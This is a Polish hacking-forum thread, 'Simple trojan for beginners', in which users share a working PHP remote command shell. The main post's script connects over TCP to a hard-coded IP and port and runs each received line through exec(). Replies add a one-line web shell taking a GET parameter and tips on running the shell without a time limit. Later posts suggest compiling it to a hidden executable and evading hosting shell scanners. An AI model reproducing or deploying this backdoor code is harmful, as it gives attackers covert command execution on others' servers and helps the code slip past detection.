Strona 1 z 1

[PHP] Prosty trojan dla początkujących

: 05 sty 2016, 23:29
autor: Kenjin
Siema chcialem sie podzielic bardzo prostym ale niezwykle efektywnym trojanem. Jest to serwer, wiec oczywiscie musi byc odpalony po stronie serwera udostepnia nam on tryb komendowy systemu windows servera, tak wiec po nawiazaniu polaczenia tcp jestesmy w stanie wysylac dowolne komendy cmd. Proste ale niezwykle potezne narzedzie.

Kod: Zaznacz cały

<?php

$server = "192.168.10.151";
$port = 448;

$socket = socket_create(AF_INET, SOCK_STREAM, 0);

socket_connect($socket, $server, $port);
socket_write($socket, "Dzialam:)\r\n");

$buffer = '';
$output = array();

while(1){
	$data = socket_read($socket, 1024);
	$data = trim($data);
	if ($data == 'quit'){
	socket_write($socket, "Papa");
	break;
	}
	$cmd = $data;
	exec($cmd, $output);
	foreach($output as $out){
	socket_write($socket, $out);
	socket_write($socket, "\r\n");
	}
	$kom = "cls";
	exec($kom);
	$output = '';
}
socket_close($socket);
?>

Re: Prosty trojan dla poczatkujacych

: 06 sty 2016, 05:58
autor: F3nix
Fajne i proste jak tak rzucam na to okiem. Brakuje moim zdaniem pewnej rzeczy. Wydaje mi się, że większość serwerów domyślnie ma ustawione wykonywanie pliku PHP na 30 sekund. Przydałoby się dodać:

Kod: Zaznacz cały

set_time_limit (0);
Parametr to liczba sekund wykonania skryptu. Zero ustawia na nieskończone wykonanie skryptu (aż do przerwania go w przeglądarce www). Naprawdę dobry skrypt do edukacji innych, jednak mam pewną wątpliwość czy nie łatwiej nie korzystać z socketów i zrobić po prostu:

Kod: Zaznacz cały

<?php
if ($_GET['cmd'])
   exec($_GET['cmd'];
?>
Nie znam za dobrze PHP ale skoro tutaj jest adres IP i PORT to czy ja dobrze rozumiem że ten socket łączy się z nami (192.168.10.151) bo dalej rozumiem jak komunikacja przebiega? Bo jeśli tak jest to jest to tzn. reverse_tcp czyli ofiara łączy się z nami. Lepiej zrobić bind_tcp czyli, że oczekuje na połączenia od osób i jak ktoś się połączy (np: za pomocą zwykłego netcat lub telnet na tym porcie 448 to oddaje mu do usług cmd). Może Cię zainteresuje jeszcze to (jest film): http://haker.edu.pl/2015/10/26/php-curl-upload-pliku/

Jeśli tak nie jest i jest to adres IP serwera to można je dynamicznie sobie pobrać:

Kod: Zaznacz cały

$_SERVER['SERVER_ADDR'];
Dzięki za skrypt!

Re: Prosty trojan dla poczatkujacych

: 06 sty 2016, 11:31
autor: Kenjin
F3nix pisze:Fajne i proste jak tak rzucam na to okiem. Brakuje moim zdaniem pewnej rzeczy. Wydaje mi się, że większość serwerów domyślnie ma ustawione wykonywanie pliku PHP na 30 sekund. Przydałoby się dodać:

Kod: Zaznacz cały

set_time_limit (0);
Parametr to liczba sekund wykonania skryptu. Zero ustawia na nieskończone wykonanie skryptu (aż do przerwania go w przeglądarce www).
masz racje, jednak u mnie jest to domyslnie ustawione na no limit(w configu php), wiec nie musze tego deklarowac w kazdym skrypcie. Ale oczywiscie zapomnialem tego wspomniec :P.
F3nix pisze: Naprawdę dobry skrypt do edukacji innych, jednak mam pewną wątpliwość czy nie łatwiej nie korzystać z socketów i zrobić po prostu:

Kod: Zaznacz cały

<?php
if ($_GET['cmd'])
   exec($_GET['cmd'];
?>
Mozna GETem ale wtedy konieczna jest odpalona przegladarka internetowa. Moj skrypt dziala rowniez z poziomu konsoli(jak uruchomisz trybem konsolowym skrypt). Dla lepszego efektu mozna nawet skompilowac go do .exe(np. bambompile) i odpalic w trybie niewidzialnego okna cmd :). Moze napisze tutorial o tym dla potomnych.
F3nix pisze: Nie znam za dobrze PHP ale skoro tutaj jest adres IP i PORT to czy ja dobrze rozumiem że ten socket łączy się z nami (192.168.10.151) bo dalej rozumiem jak komunikacja przebiega? Bo jeśli tak jest to jest to tzn. reverse_tcp czyli ofiara łączy się z nami. Lepiej zrobić bind_tcp czyli, że oczekuje na połączenia od osób i jak ktoś się połączy (np: za pomocą zwykłego netcat lub telnet na tym porcie 448 to oddaje mu do usług cmd). Może Cię zainteresuje jeszcze to (jest film): http://haker.edu.pl/2015/10/26/php-curl-upload-pliku/

Jeśli tak nie jest i jest to adres IP serwera to można je dynamicznie sobie pobrać:

Kod: Zaznacz cały

$_SERVER['SERVER_ADDR'];
Dzięki za skrypt!
Oh tutaj troche moja niechlujnosc. To jest moj stary skrypt wiec postanowilem sie nim podzielic nie myslalem za bardzo o komentowaniu i wyjasnianiu o co chodzi(moj blad). Skrypt dziala właśnie jako bind-tcp. Dokladnie dziala jak napisales oczekuje na polaczenie na danym porcie (w tym wypadku 448) i po otrzymaniu go udostepnia nam konsole a mowiac precyzyjniej kazdwy wyslany pakiet jest trimowany i wpisywany jako polecenie konsoli.
Adres IP to poprostu adres servera ktory nasluchuje. I tutaj jeszcze raz moj blad, testowalem to na swoich komputerach i wtedy nawet o tym nie pomyslalem. Oczywiscie trzeba dynamicznie pobierac(chyba, ze znasz ip ofiary przed atakiem), gdzies w mojej bardziej zaawansowanej wersji tego skryptu obslugujacej multiwatkowosc wszystko to popoprawialem, moze sie kiedys podziele nim rowniez :).

Z wielka checia przyjze sie temu artykulowi, z curclem mialem troche doczynienia ale nigdy jakos na dluzsza mete sie nie zajmowalem, dzieki :).

Re: [PHP] Prosty trojan dla poczatkujacych

: 07 sty 2016, 00:51
autor: F3nix
Tak abstrahując są pewne sztuczki na ukrycie pewnych nieciekawych funkcji w kodzie bo niestety lub na szczęście większość skanerów shelli na hostingu wykrywa wywołanie funkcji exec().

BTW: i tak najlepszy fragment kodu to:

Kod: Zaznacz cały

   socket_write($socket, "Papa");
:lol:

W sumie też poszukam starych gratów na starych nośnikach i może coś w najbliższym czasie wrzucę. Potem szuka się w Internecie rozwiązania, żeby nie wymyślać koła na nowo i lipa nima.

Re: [PHP] Prosty trojan dla poczatkujacych

: 07 sty 2016, 01:36
autor: Kenjin
Dlatego oplaca sie kompilowac te skrypty, kodu maszynowego mi nic nie wykryje :P(no chyba, ze posiadaja zaawansowane skanery ktore nie zezwalaja na dostep do jakichkolwiek sieciowych aspektow systemu danej aplikacji).

PS: Lubie trzymac moje programy w humorystycznym brzemieniu, zawsze uzywam nazw baz danych, lub komentarzy takich zeby sie z powagi nie zabic :)

Re: [PHP] Prosty trojan dla poczatkujacych

: 07 sty 2016, 15:01
autor: F3nix
Tylko wtedy pewnie jak skompilujesz to Linuksowcy pożegnają się z Twoim programem... :-(

: 09 lut 2016, 02:17
autor: Dizzywarrior123
Proszę mnie uczyć , jak korzystać z tego

Re: [PHP] Prosty trojan dla początkujących

: 09 lut 2016, 09:59
autor: F3nix
Najpioerw naucz się programowania w PHP z książki (dostępne na helion.pl) lub kursów php następnie wróć i zapewne już takiego pytania nie zadasz. Ciężko powiedzieć coś o tym co jest tak naprawdę dosyć podstawową wiedzą.

Re:

: 09 lut 2016, 14:31
autor: Kenjin
Dizzywarrior123 pisze:Proszę mnie uczyć , jak korzystać z tego
Niedługo zamierzam napisać na blogu haker.edu.pl tutorial z programowania sieciowego. Omówię w nim podstawową wiedzę na temat socketów, portów i ogólnej komunikacji między komputerami za pośrednictwem sieci. Oczywiście będzie to tutorial dla tych którzy posiadają już podstawową wiedzę z języków programowania, dlatego tak jak f3nix wspomniał, warto zapoznać się z podstawami, zanim zabierze się za bardziej skomplikowane rzeczy.

PHP Prosty trojan dla poczatkujacych

: 06 kwie 2019, 16:53
autor: Frankvam
Plik w ktorym to wpisujesz musi miec rozszerzenie .php lub .php3 lub .phtml, wowczas bedzie traktowanyprzez serwer jako skrypt.